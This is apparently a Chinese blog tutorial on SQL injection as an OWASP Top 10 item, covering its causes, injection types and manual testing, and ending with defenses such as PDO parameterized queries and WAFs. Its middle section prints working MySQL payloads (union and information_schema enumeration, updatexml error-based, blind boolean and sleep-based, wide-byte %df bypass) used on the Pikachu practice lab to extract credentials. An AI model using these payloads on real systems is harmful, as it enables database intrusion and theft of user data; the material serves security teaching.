OWASP TOP10之sql注入简述

⭕首先,什么是OWASP Top10?

    OWASP(Open Web Application Security Project开放式Web应用程序安全项目)是一个开源的、非盈利的全球性安全组织,致力于应用软件的安全研究。

    OWASP项目最具权威的就是其“十大安全漏洞列表”,OWASP Top10不是官方文档或标准,而只是一个被广泛采用的意识文档,被用来分类网络安全漏洞的严重程度,目前被许多漏洞奖励平台和企业安全团队评估错误报告。这个列表总结了Web应用程序最可能、最常见、最危险的十大漏洞,可以帮助IT公司和开发团队规范应用程序开发流程和测试流程,提高Web产品的安全性。

    OWASP Top10中WEB漏洞占百分之70,其他(系统,APP等)占百分之30(估计),所以说,要想在网络安全领域有所作为,OWASP Top10一定是你绕不开的必修课。

⭕OWASP Top10排名

✅(1)SQL 注入

✅(2)失效的身份认证和会话管理

✅(3)跨站脚本攻击 XSS

✅(4)直接引用不安全的对象

✅(5)安全配置错误

✅(6)敏感信息泄露

✅(7)缺少功能级的访问控制

✅(8)跨站请求伪造 CSRF

✅(9)使用含有已知漏洞的组件

✅(10)未验证的重定向和转发

因为网络安全的不确定性,所以OWASP Top10排名也在逐年发生着变化。

⭕sql注入

1、什么是sql注入?

    SQL注入式攻击技术,一般针对基于Web平台的应用程序.造成SQL注入攻击漏洞的原因,是由于程序员在编写Web程序时,没有对浏览器端提交的参数进行严格的过滤和判断。用户可以修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息,甚至执行危险的代码或系统命令。

    虽然SQL注入攻击技术早已出现,但是时至今日仍然有很大一部分网站存在SQL注入漏洞。由于SQL漏润存在的普遍性,因此SQL入侵攻击技术往往成为黑客入侵攻击网站渗透内部服务的首选技术,其危害性非常大。

    OWASP Top10虽然常年有更改,但sql注入基本一直位于榜首,其优势在于极低的使用代价以及极高的危害性,地位可见一斑。

2、sql注入原理

    注射式攻击的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给Web程序,以发号施令,为所欲为(注:注入最终是数据库,与脚本、平台无关)。

    总之一句话:注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。

    为了发动注入攻击,攻击者需要在常规输入中混入将被解释为命令的“数据”,要想成功,必须要做三件事情:

    确定Web应用程序所使用的技术

        注入式攻击对程序设计语言或者硬件关系密切,但是这些可以通过适当的踩点或者索性将所有常见的注射式攻击都搬出来逐个试一下就知道了。为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。

    确定所有可能的输入方式

        Web应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如HTML表单;另外,攻击者可以通过隐藏的HTML表单输入、HTTP头部、cookies、甚至对用户不可见的后端AJAX请求来跟Web应用进行交互。一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。

    查找可以用于注入的用户输入

        在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。这个好像有点难,但是这里有一个小窍门,那就是多多留意Web应用的错误页面,很多时候您能从这里得到意想不到的收获。

3、注入分类

1.数字型

2.字符型

3.搜索型

4.XX型(少见)

4、注入提交类型

1.get型(最好利用)

2.post型

3.cookie型

4.referer,user_agent等(少见)

5、手工寻找SQL注入点

寻找类似的网页链接

http://www.*****.com/***.asp?id=xx (ASP注入)

或者下面的链接。

http://www.*****.com/***.php?id=xx (php注入)

http://www.*****.com/***.jsp?id=xx (jsp注入)

http://www.*****.com/***.aspx?id=xx (aspx注入)

http://www.*****.com/index.asp?id=8&page=99 (注:注入的时候确认是id参数还是page参数,

工具默认只对后面page参数注入,所以要对工具进行配置或者手工调换)

http://www.*****.com/index/new/id/8 伪静态

http://www. *****.com/index/new/php-8.html伪静态

其中的“**”可能是数字,也有可能是字符串,分别被称为整数类型数据和字符型数据。

6、测试注入点

(1)单引号法

直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

(2)1=1,1=2法

有时在链接后接单引号显示错误,这并不代表页面不存在漏洞,此时可以在链接最后加 and 1=1,如果返回正确页面,再换成1=2测试,如果报错,则大概率存在注入漏洞。

7、注入攻击方式与类型

(1)union注入

合并两个或多个查询

X'union select XX,XX from member where id=1#报错,因为子查询字段不能超过主查询字段(要符合)

在SQL语句后输入order by来确定主查询字段:

a' order by 4#%

返回 UNknown column '4' in order clause'

a' order by 3#%

返回 没有搜索到你输入的信息

测试出主查询有3个字段。

接着输入X' union select X(),X(),X()#  (X)为想得到的信息

(2)information_schema注入

information_schema数据库是MySQL(5.0以上)系统自带的数据库。

其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

,使用order by来判断查询的字段。先找出数据库的名称,输入XX' union select database(),user(),3#%得到反馈,

判断数据库名称.如pikachu

获取pikachu数据库的表名,输入:

u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

获取pikachu数据库的字段名,输入:

k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

最后获取字段值的内容,输入:

kobe'union select username ,password,3 from users#%

(3)基于函数报错注入

原因:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.

三个常用来报错的函数

  updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.

  extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.

  floor():MYSQL中用来取整的函数.

a 爆数据库版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

b 爆数据库当前用户

k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)# 

c 爆数据库

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

d 爆表

获取数据库表名,输入:

k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

输入

k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

更改limit后面的数字limit 0完成表名遍历。

(4)insert注入

insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。

(5)update注入

与insert注入基本相同 区别在于update用于用户登陆端,insert用于用于用户注册端。

' or updatexml(0,concat(0x7e,(database())),0) or'

(6)delete注入

一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:

delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

(7)Http Header注入

(8)cookie注入

Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,

但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’

观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload

'and updatexml (1,concat(0x7e,database()),0)#

(9)盲注

在我们的注入语句被带入数据库查询但却什么都没有返回的情况应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注

布尔型:按照之前的思路构造一个SQL拼接:

vince' and extractvalue(0,concat(0x7e,version()))# 输入后根据返回的信息判断之前的思路不再适用。

输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。

注:substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。

输入语句:select length(database())

按照之前逻辑,输入sql语句: vince' and ascii(substr(database(),1,1))=112#,通过这个方法,

就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据。

但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。

时间型,基于时间的延迟,构造一个拼接语句: vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#,输入后,如果猜测正确,那么就会响应10秒,如果错误会立刻返回错误。输入:

vince' and if(substr(database(),1,1)='p',sleep(10),null)#

(10)宽字节

当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。

还有很多函数有类似的作用如:

addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。

目前大多数的主机都打开了这个选项

其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,

则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.

小提示: 数字和字母占一个字节,汉字占两个字节。

8、sql注入防御

代码层面

1.对输入进行严格的转义和过滤

2.使用参数化(Parameterized)

PHP防范推荐方法:PDO预处理——PDO预处理能防止SQL注入的原因

       没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。

网络层面

1.通过WAF设备启用防SQL Inject注入策略(或类似防护系统)

2.云端防护(360网站卫士,阿里云盾等)

你可能感兴趣的:(OWASP TOP10之sql注入简述)